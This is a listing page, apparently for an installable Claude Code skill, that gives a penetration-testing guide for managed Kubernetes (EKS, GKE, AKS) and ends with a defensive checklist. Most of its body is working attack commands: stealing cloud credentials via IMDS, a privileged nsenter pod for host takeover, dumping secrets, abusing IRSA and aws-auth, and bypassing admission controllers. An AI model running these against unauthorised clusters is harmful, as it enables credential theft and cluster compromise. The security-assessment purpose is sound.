mcpField
A
attacking-eks-gke-aks

attacking-eks-gke-aks

github.com/trilwu安全17748 次安装12 周前更新
代码仓库

关于 attacking-eks-gke-aks

面向授权渗透测试人员的技能指南,涵盖 EKS、GKE 和 AKS 的安全评估。重点检查云 IAM 与 Kubernetes RBAC 交界处的权限提升路径,并提供身份、网络策略和准入控制审查方法。

主要功能

  1. 01枚举 Kubernetes RBAC 与集群权限
  2. 02评估 Pod 到云凭据的升级路径
  3. 03检查云身份与集群映射
  4. 04审查网络策略和命名空间隔离
  5. 05评估准入控制器配置

适用场景

  1. 01对 EKS、GKE 或 AKS 集群进行渗透测试
  2. 02审查服务账户权限和集群角色绑定
  3. 03测试 Pod 访问 IMDS 或工作负载身份的风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill attacking-eks-gke-aks

安装后在 Claude Code 中输入/attacking-eks-gke-aks确认已加载。

详细介绍

攻击托管式 Kubernetes(EKS、GKE、AKS)

托管式 Kubernetes 是一种特殊目标,因为它运行在两个相互独立的授权平面上:云提供商的 IAM 层和 Kubernetes 自身的 RBAC 层。每个平面都有自己的身份、策略和信任边界。权限提升路径藏在两者的交界处——例如 Kubernetes 服务账户映射到云 IAM 角色、Pod 通过实例元数据服务继承节点的云凭据,或通过云身份映射授予了 cluster-admin 绑定,但无人审计。只了解其中一个平面的攻击者会错过跨入另一个平面的攻击路径。

仅针对你获准测试的系统。

适用场景

  • 在渗透测试期间评估 EKS、GKE 或 AKS 集群
  • 检查 Kubernetes RBAC 绑定和服务账户权限
  • 测试通过 IMDS 或工作负载身份从 Pod 提升到云端权限的路径
  • 评估网络策略的实施情况和命名空间隔离
  • 审计云到集群的身份映射(aws-auth、Workload Identity、AAD)
  • 检查准入控制器的有效性和绕过可能性

不适用场景

  • 通用 Docker 容器逃逸,或不使用云提供商的原生 k8s —— 使用 exploiting-containers
  • 仅评估云 IAM 和控制平面(不涉及集群) —— 使用 exploiting-cloud-platforms
  • 防御或加固集群,而非攻击集群 —— 使用 defending-kubernetes
  • 从 Web 应用发起 SSRF 命中 IMDS,而非从 Pod 内部发起 —— 使用 exploiting-ssrf
  • 为此处描述的攻击编写检测规则 —— 使用 engineering-detections

集群发现和未认证访问

# Discover clusters
aws eks list-clusters --region us-east-1        # EKS
gcloud container clusters list                   # GKE
az aks list                                      # AKS

# Unauthenticated API server check
curl -k https://<api-server>:443/api/v1/namespaces
curl -k https://<api-server>:443/version

# Anonymous RBAC check -- system:anonymous may have bindings
kubectl auth can-i --list --as=system:anonymous

# Kubelet read-only port (10255) -- often disabled, worth checking
curl http://<node-ip>:10255/pods

如果 API 服务器会向未认证的请求返回资源,说明集群启用了匿名身份验证,或在 system:unauthenticated 上配置了错误的绑定。

RBAC 枚举

# What can the current identity do?
kubectl auth can-i --list
kubectl auth can-i --list --namespace kube-system

# Check for cluster-admin bindings
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") |
  {name: .metadata.name, subjects: .subjects}'

# Examine a service account token (JWT)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Find overprivileged roles (wildcard on both resources and verbs)
kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]? | .resources[]? == "*" and .verbs[]? == "*") |
  .metadata.name'

# Who can create pods? Who can read secrets?
kubectl auth can-i create pods --as=system:serviceaccount:NAMESPACE:SA_NAME
kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:NAMESPACE:SA_NAME

任何非系统级的 cluster-admin 绑定都属于发现项。云提供商的系统组件有时会合法地持有 cluster-admin 权限;应将它们与人工用户或工作负载绑定区分开来。

从 Pod 提升到云端权限

EKS:从 Pod 访问 IMDS
# IMDSv1 -- single unauthenticated GET from any pod (unless blocked)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# IMDSv2 -- EKS sets default hop limit to 1 on Nitro instances, which blocks
# IMDSv2 from pods (extra network hop decrements TTL to 0). If hop limit >= 2:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# Credentials returned are the EC2 node role, not the pod's IRSA role.
aws sts get-caller-identity  # confirm which role you hold
GKE:从 Pod 访问元数据
# GKE metadata server -- requires Metadata-Flavor header
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# With Workload Identity: metadata server returns a token scoped to the k8s
# SA's bound GCP SA. Without it: every pod gets the node pool's GCP SA creds.
AKS:Pod 身份和 IMDS
# Azure IMDS from a pod
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Pod identity (deprecated but still deployed): NMI daemonset assigns managed
# identities. If misconfigured, pods request tokens for any identity on node.
# Workload Identity (current): projected SA token exchanged for AAD token.
env | grep -i azure
cat $AZURE_FEDERATED_TOKEN_FILE 2>/dev/null

节点失陷路径

# Privileged pod -- full host access
apiVersion: v1
kind: Pod
metadata:
  name: priv-pod
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: shell
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: hostfs
      mountPath: /host
    command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/bash"]
  volumes:
  - name: hostfs
    hostPath:
      path: /
# If you can create pods, deploy the above and you own the node.
# From the node, access IMDS, kubelet credentials, and other pods.

# hostPath mount without full privilege -- still dangerous
# Mount /etc, /var/lib/kubelet, or /var/run/docker.sock

# hostPID -- see host processes, ptrace, /proc/1/root
ls /proc/1/root/etc/shadow

# hostNetwork -- access services bound to the node's loopback
# including the kubelet API on 10250
curl -k https://127.0.0.1:10250/pods

# Check what the kubelet certificate can do
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
  https://<api-server>/api/v1/nodes

Secret 枚举

# Decode secrets in current namespace
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] |
  "\(.key): \(.value | @base64d)"'

# All namespaces (requires cluster-wide read)
kubectl get secrets --all-namespaces -o json | jq -r '.items[] |
  "\(.metadata.namespace)/\(.metadata.name): \(.data | keys)"'

# Which pods mount secrets?
kubectl get pods --all-namespaces -o json | jq -r '.items[] |
  select(.spec.volumes[]?.secret) |
  "\(.metadata.namespace)/\(.metadata.name): \([.spec.volumes[] |
  select(.secret) | .secret.secretName])"'

# etcd -- managed providers do not expose it directly. If you find an
# endpoint (self-managed or misconfigured):
ETCDCTL_API=3 etcdctl --endpoints=https://<etcd>:2379 \
  --cert=/path/to/cert --key=/path/to/key --cacert=/path/to/ca \
  get /registry/secrets --prefix --keys-only

云平台特定攻击路径

EKS
# aws-auth ConfigMap -- maps IAM roles/users to k8s RBAC
kubectl get configmap aws-auth -n kube-system -o yaml
# If you can edit this ConfigMap, you can grant any IAM role cluster-admin.
# This is the single most important escalation path in EKS.
kubectl edit configmap aws-auth -n kube-system

# IRSA (IAM Roles for Service Accounts) -- OIDC trust abuse
# Each EKS cluster has an OIDC provider. Service accounts annotated with
# eks.amazonaws.com/role-arn get temporary credentials for that IAM role.
# The IAM role's trust policy should restrict by namespace and SA name.
# If the trust policy uses a wildcard or missing condition:
aws iam get-role --role-name ROLE_NAME | jq '.Role.AssumeRolePolicyDocument'
# Look for:
#   "StringEquals": { "<oidc>:sub": "system:serviceaccount:*:*" }  <-- BAD
#   "StringLike" with a broad pattern                                <-- BAD
# A properly scoped trust policy restricts to one namespace:SA pair.

# Create a pod with the target SA to assume the role
kubectl run steal --image=amazon/aws-cli \
  --overrides='{"spec":{"serviceAccountName":"TARGET_SA"}}' \
  -- sleep 3600
kubectl exec -it steal -- aws sts get-caller-identity

# EKS access entries (newer alternative to aws-auth)
aws eks list-access-entries --cluster-name CLUSTER
aws eks describe-access-entry --cluster-name CLUSTER \
  --principal-arn arn:aws:iam::ACCOUNT:role/ROLE
GKE
# Node pool service account -- if not using Workload Identity, every pod
# on the node inherits the node pool's GCP service account. The default
# compute SA often has Editor on the project.
gcloud container node-pools describe POOL --cluster CLUSTER --zone ZONE \
  --format="value(config.serviceAccount)"

# Check the SA's IAM bindings
gcloud projects get-iam-policy PROJECT --flatten="bindings[].members" \
  --filter="bindings.members:serviceAccount:SA_EMAIL" \
  --format="value(bindings.role)"

# Workload Identity Federation -- k8s SA to GCP SA mapping
gcloud iam service-accounts get-iam-policy SA_EMAIL \
  --format=json | jq '.bindings[] |
  select(.role=="roles/iam.workloadIdentityUser")'

# If the GCP SA has iam.serviceAccountTokenCreator on other SAs,
# you can impersonate them:
gcloud auth print-access-token --impersonate-service-account=TARGET_SA_EMAIL

# GKE metadata concealment (legacy) -- hides some metadata paths but
# does not prevent token retrieval. Workload Identity is the real fix.
AKS
# AAD integration -- AKS can use Azure AD for authentication
az aks show --resource-group RG --name CLUSTER \
  --query "aadProfile" -o json

# Kubelet identity -- the managed identity assigned to the VMSS nodes
az aks show --resource-group RG --name CLUSTER \
  --query "identityProfile.kubeletidentity" -o json
# If this identity has broad Azure RBAC, any pod reaching IMDS gets those
# permissions (unless using Workload Identity to scope access).

# AKS Workload Identity -- check for federated credential bindings
az identity federated-credential list \
  --identity-name IDENTITY --resource-group RG

# AKS managed AAD -- check cluster admin group membership
az aks show --resource-group RG --name CLUSTER \
  --query "aadProfile.adminGroupObjectIDs"

网络策略评估

# Are any NetworkPolicies defined?
kubectl get networkpolicies --all-namespaces

# If none exist, all pods can talk to all other pods across all namespaces.
# This is the default in every managed k8s offering.

# Check which CNI is installed (determines enforcement)
kubectl get pods -n kube-system | grep -E 'calico|cilium|weave|canal|azure-cni'
# EKS: VPC CNI by default (no network policy enforcement without Calico/Cilium addon)
# GKE: Dataplane V2 (Cilium-based, enforces policies when enabled)
# AKS: Azure CNI or kubenet (network policy requires Calico or Azure NPM addon)

# Test cross-namespace connectivity
kubectl run test --image=busybox --rm -it --restart=Never -- \
  wget -qO- --timeout=3 http://SERVICE.OTHER_NAMESPACE.svc.cluster.local

# Test pod-to-IMDS (should be blocked by network policy in hardened clusters)
kubectl run test --image=busybox --rm -it --restart=Never -- \
  wget -qO- --timeout=3 http://169.254.169.254/

如果 CNI 不支持网络策略,定义 NetworkPolicy 资源也不会产生任何效果。这些策略会存在于 API 中,但不会得到实施。这是一个常见的误解。

绕过准入控制器

# List admission webhooks
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# Check if Pod Security Admission (PSA) is configured
kubectl get namespaces -o json | jq '.items[] |
  {name: .metadata.name, labels: .metadata.labels |
  with_entries(select(.key | startswith("pod-security")))}'

# Common bypasses:
# 1. Create resources in a namespace without PSA labels
# 2. Use ephemeral containers (kubectl debug) -- some controllers miss these
kubectl debug node/NODE_NAME -it --image=alpine

# 3. Modify existing deployments instead of creating new pods
# 4. Use CronJobs or Jobs -- some webhooks only match Pod creates
# 5. Target the webhook's failurePolicy: if set to Ignore, disabling the
#    webhook service (or its DNS) allows all requests through
kubectl get validatingwebhookconfigurations -o json | \
  jq '.items[] | {name: .metadata.name,
  failurePolicy: .webhooks[].failurePolicy}'

# 6. Check namespaceSelector -- webhooks often exclude kube-system
kubectl get validatingwebhookconfigurations -o json | \
  jq '.items[].webhooks[] | {name: .name,
  namespaceSelector: .namespaceSelector}'

防御审查清单

  • RBAC:不存在非系统级 cluster-admin 绑定;未使用时将 automountServiceAccountToken 设为 false
  • Pod 安全性:PSA 标签按命名空间强制实施 restricted/baseline 策略
  • IMDS:网络策略阻止 Pod 访问 169.254.169.254(或在 EKS 上将 IMDSv2 跳数限制设为 1)
  • 工作负载身份:使用 IRSA/WI/WIF;没有 Pod 依赖节点凭据
  • 网络策略:已定义,并确认 CNI 会实施这些策略
  • Secret:使用外部 Secret Operator 或 CSI 驱动,而非环境变量
  • 准入控制:Webhooks 的 failurePolicy 为 Fail;PSA 或 OPA/Gatekeeper 处于启用状态
  • 审计日志:已启用 API 服务器审计日志,并将其发送到 SIEM
  • EKS:限制 aws-auth;将 IRSA 信任范围限定为命名空间:SA
  • GKE:启用 Workload Identity;节点池中不使用默认计算 SA
  • AKS:强制启用 AAD 集成;尽可能缩小 kubelet 身份的权限范围

应当摒弃的错误想法

  • “我们使用的是托管服务,所以控制平面很安全。” 控制平面由服务商托管,但 RBAC 绑定、工作负载身份和网络策略并非如此。大多数集群失陷源于租户配置错误,而非攻击托管的 API 服务器本身。
  • “IMDSv2 会阻止 Pod 访问元数据。” 只有跃点限制为 1 时才会如此。请确认实际的跃点限制;如果因任何原因调高了,Pod 就能正常访问 IMDSv2。此外,IMDSv1 可能仍处于启用状态。
  • “我们定义了网络策略。” 只有 CNI 支持网络策略,这些策略才会生效。使用默认 VPC CNI 且未安装 Calico/Cilium 插件的 EKS 会静默忽略所有 NetworkPolicy 资源。
  • “我们的服务账户没有任何权限。” 请检查每个命名空间中的默认服务账户。如果 automountServiceAccountToken 为 true(默认值),每个 Pod 都会挂载令牌。即使令牌只有最低限度的 RBAC 权限,也能列出 Pod 和服务——足以进行横向移动侦察。
  • “IRSA/工作负载身份会将凭据限定到 Pod。” 只有 IAM 信任策略受到恰当限制时才是如此。OIDC 信任中存在通配符或缺少 sub 条件,就会允许集群中的任意服务账户代入该角色。
  • “集群是私有的,所以不会暴露。” 私有 API 端点仍会处理来自 VPC 内部的请求。任何 Pod 失陷、SSRF 或 VPN 访问都会让攻击者进入内部网络。
  • “我们之后再审核 RBAC;这个集群用于开发。” 开发集群通常与生产环境共用 IAM 角色、VPC 对等连接和镜像仓库。通过共享云身份从开发环境横向提权到生产环境的情况很常见。

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据 当前 ATT&CK 版本重新核实。

执行(TA0002)

  • T1610 部署容器 (也属于防御规避) — 另见 exploiting-containers

凭据访问(TA0006)

  • T1552.005 云实例元数据 API — 另见 exploiting-ssrf、exploiting-cloud-platforms

针对上述任一项的检测内容:engineering-detections。主动搜索:hunting-threats。失陷后处置:responding-to-incidents。

参考资料

  • exploiting-containers -- 通用容器逃逸、滥用 Docker socket、特权容器逃逸技术
  • exploiting-cloud-platforms -- 在从 Pod 获取云凭据后枚举云 IAM 并提升权限
  • exploiting-ssrf -- 通过 Web 应用而非从 Pod 内部访问 IMDS
  • engineering-detections -- 为此处描述的攻击模式构建检测规则

评论

支持 Markdown